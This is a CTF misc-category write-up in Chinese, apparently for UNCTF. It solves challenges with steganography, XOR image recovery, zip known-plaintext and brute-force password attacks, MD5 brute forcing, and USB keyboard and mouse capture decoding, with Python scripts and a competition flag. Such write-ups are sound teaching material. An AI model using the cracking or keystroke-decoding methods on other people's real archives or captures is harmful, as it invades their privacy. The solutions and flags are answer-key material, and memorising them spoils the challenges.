依古比古玛卡巴卡玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 玛卡巴卡玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 玛卡巴卡依古比古依古比古依古比古 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡依古比古玛卡巴卡玛卡巴卡
- Morse
.-- .- -. ..--.- .- -. ..--.- -- .- -.- .- ..--.- -... .- -.- .- .- .- .- .- -.-.--
清和fan
题解
- 根据压缩包找到视频,得到密码
- 836885_2022_05_20
- LSB 得到密码
- 得到无线电音频,
MMSTV
- V@mpir3
- 0宽
芝麻开门
题解
- 得到
png
txt
,后面后key1
LSB
社什么社
题解
- 从出题人入手,为凤凰古城
MY PICTURE
题解
- 解压得到
dat
,flag.png
,flag.png 为乱码图片,dat 文件需要经过处理 - 根据
dat
文件中出现的大量0x8E,
推断异或了0x8E
,复原得到原始文件
from PIL import Image as im
flag = im.open('flag.jpg','r')
l,h=flag.size
puzzle=im.new('RGB',(h,l))
print(puzzle)
for i in range(l):
for j in range(h):
r,g,b=flag.getpixel((i,j))
r=r^g
g=g^b
b=b^r
puzzle.putpixel(((i*787+j)//1200,(i*787+j)%1200),(b,g,r))
puzzle.save('flag.png')
flag.close()
puzzle.close()
- 写逆向脚本,得到正常图片
from PIL import Image as im
flag = im.open("flag.png", 'r')
l, h = flag.size
puzzlz = im.new('RGB', (h, l))
for i in range(l):
for j in range(h):
r, g, b = flag.getpixel((i, j))
_r = g ^ b
_g = r ^ g
_b = r ^ b
puzzlz.putpixel(((i * 1200 + j) // 787, (i * 1200 + j) % 787), (_b, _g, _r))
puzzlz.save('flag.jpg')
flag.close()
puzzlz.close()
找得到我吗
题解
- 解压,看到 flag
zhiyin
题解
- 解压得到
zip
png
jpg
- 在png末尾发现
Morse
,解码得到_unc7f!!!
- 观察 jpg 16 进制编码,是倒序数据
with open('lanqiu.jpg', 'rb') as rb:
content = rb.read().hex()
print(len(content))
a = []
for i in range(len(content) // 2):
a.append(int(content[i*2:(i+1)*2], 16))
print(bytes(a))
with open('test.jpg', 'wb') as wb:
wb.write(bytes(a[::-1]))
拨茧抽丝
题解
- 注释为压缩包密码
- 1.txt 存在
0宽
,得到密码:PAsS_w0rD - 观察发现
1.txt
似乎对应2.txt
,明文攻击得到key7ae68c2a 9f92100b a5d9e0c0
- 0宽得到的密码解开最后一层,得到
flag
UNCTF{d4a3a242-cd32-4dd5-bac6-84bdf13f527f}
我小心海也绝非鳝类
题解
- 下载得图中文字
- F#S<YIcHnAG
- fuzz
- 得到
flaginmd5
,在16进制末尾发现base64
编码,解码得到EASYLSB
,那么flaginmd5
应该为LSB
密码
8FA14CDD754F91CC6554C9E71929CCE72DB95E8E1A9267B7A1188556B2013B330CC175B9C0F1B6A831C399E269772661B2F5FF47436671B6E533D8DC3614845DF95B70FDC3088560732A5AC135644506F1290186A5D0B1CEAB27F4E77C0C5D68E1671797C52E15F763380B45E841EC322DB95E8E1A9267B7A1188556B2013B334A8A08F09D37B73795649038408B5F33D95679752134A2D9EB61DBD7B91C4BCC6F8F57715090DA2632453988D9A1501BE1671797C52E15F763380B45E841EC32B14A7B8059D9C055954C92674CE60032E358EFA489F58062F10DD7316B65649ED95679752134A2D9EB61DBD7B91C4BCCB14A7B8059D9C055954C92674CE600326F8F57715090DA2632453988D9A1501B865C0C0B4AB0E063E5CAA3387C1A874103C7C0ACE395D80182DB07AE2C30F0344A8A08F09D37B73795649038408B5F33CBB184DD8E05C9709E5DCAEDAA0495CF
- 发现长度为
32 * 21
,猜测为md5
加密单个字符,写脚本爆破
b = ['8FA14CDD754F91CC6554C9E71929CCE7', '2DB95E8E1A9267B7A1188556B2013B33', '0CC175B9C0F1B6A831C399E269772661', 'B2F5FF47436671B6E533D8DC3614845D', 'F95B70FDC3088560732A5AC135644506', 'F1290186A5D0B1CEAB27F4E77C0C5D68', 'E1671797C52E15F763380B45E841EC32', '2DB95E8E1A9267B7A1188556B2013B33', '4A8A08F09D37B73795649038408B5F33', 'D95679752134A2D9EB61DBD7B91C4BCC', '6F8F57715090DA2632453988D9A1501B', 'E1671797C52E15F763380B45E841EC32', 'B14A7B8059D9C055954C92674CE60032', 'E358EFA489F58062F10DD7316B65649E', 'D95679752134A2D9EB61DBD7B91C4BCC', 'B14A7B8059D9C055954C92674CE60032', '6F8F57715090DA2632453988D9A1501B', '865C0C0B4AB0E063E5CAA3387C1A8741', '03C7C0ACE395D80182DB07AE2C30F034', '4A8A08F09D37B73795649038408B5F33', 'CBB184DD8E05C9709E5DCAEDAA0495CF']
from string import printable
from hashlib import md5
for i in b:
for j in printable:
if md5(j.encode()).hexdigest().lower() == i.lower():
print(j, end='')
base家族
题解
- 明文攻击,
bandzip
- 得到
flag
,base64
隐写
from string import ascii_uppercase, ascii_lowercase, digits
base64_table = ascii_uppercase + ascii_lowercase + digits + '+/'
def encode(words: str) -> str: # base64 encode
strings = ''.join([bin(ord(_)).replace('0b', '').rjust(8, '0') for _ in words])
strings += '0' * ((len(strings) // 6 + 1) * 6 - len(strings)) if len(strings) % 6 != 0 else ''
return ''.join([base64_table[int(strings[6 * i: 6 * (i + 1)], 2)] for i in range(len(strings) // 6)])
def decode(base64: str) -> str: # base64 decode
strings = ''.join([bin(base64_table.index(_)).replace('0b', '').rjust(6, '0') for _ in base64])
decoded = ''.join([chr(int(strings[8 * _: 8 * (_ + 1)], 2)) for _ in range(len(strings) // 8)])
return decoded
def base_steg(base64: list) -> str: # base64 steg
steg_string, steg_msg = '', ''
for i in base64:
i = i.replace('=', '')
strings = ''.join([bin(base64_table.index(_)).replace('0b', '').rjust(6, '0') for _ in i])
steg_string += strings[(len(strings) - len(strings) // 8 * 8) * -1:] if len(strings) % 8 != 0 else ''
for i in range(len(steg_string) // 8):
cha = chr(int(steg_string[i * 8: (i + 1) * 8], 2))
steg_msg += cha if cha in base64_table else ''
return steg_msg
d = open('flag.txt', 'r').read()
print(base_steg(d.split('\n')))
- 得到鼠标宏
Macro.mrd
,利用macro decoder
,得到flag
数独大挑战
题解
- 解数独
- 爆破压缩包:
547312
- 根据
hint
提示
- 向上
^!
,将解完的数独每行作为一个数字逐行异或得到- 649187915
- 作为
des
密钥解密key
,得到flag
峰回路转
题解
- CRC32 爆破密码表
- P@SsW0RD
- 得到图片,用相同密码,
slienteye
解码
- 伪加密,得到
Flag
,爆破xor
catchjierry
题解
- key.py
normalKeys = {"00":'',"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('key.txt')
for line in keys:
if line[4:6] in normalKeys.keys():
output += normalKeys[line[4:6]]
else:
output += ['[unknown]']
keys.close()
print("".join(output))
- mouse.py
nums = []
keys = open('mouse.txt','r')
posx = 0
posy = 0
#输出到文件out.txt
out = open('out.txt','w')
for line in keys:
if len(line) != 17 :
continue
x = int(line[2:4],16)
y = int(line[4:6],16)
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[0:2],16) # 1 for left , 2 for right , 0 for nothing
if btn_flag == 1 :
#输出 posx posy
out.write(str(posx) + ' ' + str(posy)+'\n')
out.close()
keys.close()
#描点画图 out.txt
import matplotlib.pyplot as plt
out = open('out.txt','r')
x = []
y = []
for line in out:
x.append(int(line.split()[0]))
y.append(int(line.split()[1]))
plt.plot(x,y)
plt.show()
nanoNumber
题解
- 猜测的策略如下: 前三次分别猜测 123 456 789,此时根据灯的情况,1000 个数会被分为 243 类,其中最大的一类也就 5 个数,只需要再猜 1 次即可唯一确定答案,最后在用第 5 次猜测猜中答案即可
- poc
def guess(ans, req):
ans = list(ans)
ret = [0, 0, 0]
for x in range(3):
if ans[x] == req[x]:
ret[x] = 1
ans[x] = ''
ans = ''.join(ans)
for x in range(3):
if ret[x] == 0:
if req[x] in ans:
ans = ans.replace(req[x], '', 1)
ret[x] = 2
return ''.join([str(x) for x in ret])
C = {}
def run(ans):
g1 = guess(ans, '123')
g2 = guess(ans, '456')
g3 = guess(ans, '789')
global C
C[(g1, g2, g3)] = C.get((g1, g2, g3), []) + [ans]
for x in range(1000):
run(str(x).zfill(3))
for k in C.keys():
if len(C[k]) > 1:
for x in range(1000):
if len(set([guess(ans, str(x).zfill(3)) for ans in C[k]])) == len(C[k]):
print(k, C[k], str(x).zfill(3))
break
else:
raise Exception('No solution')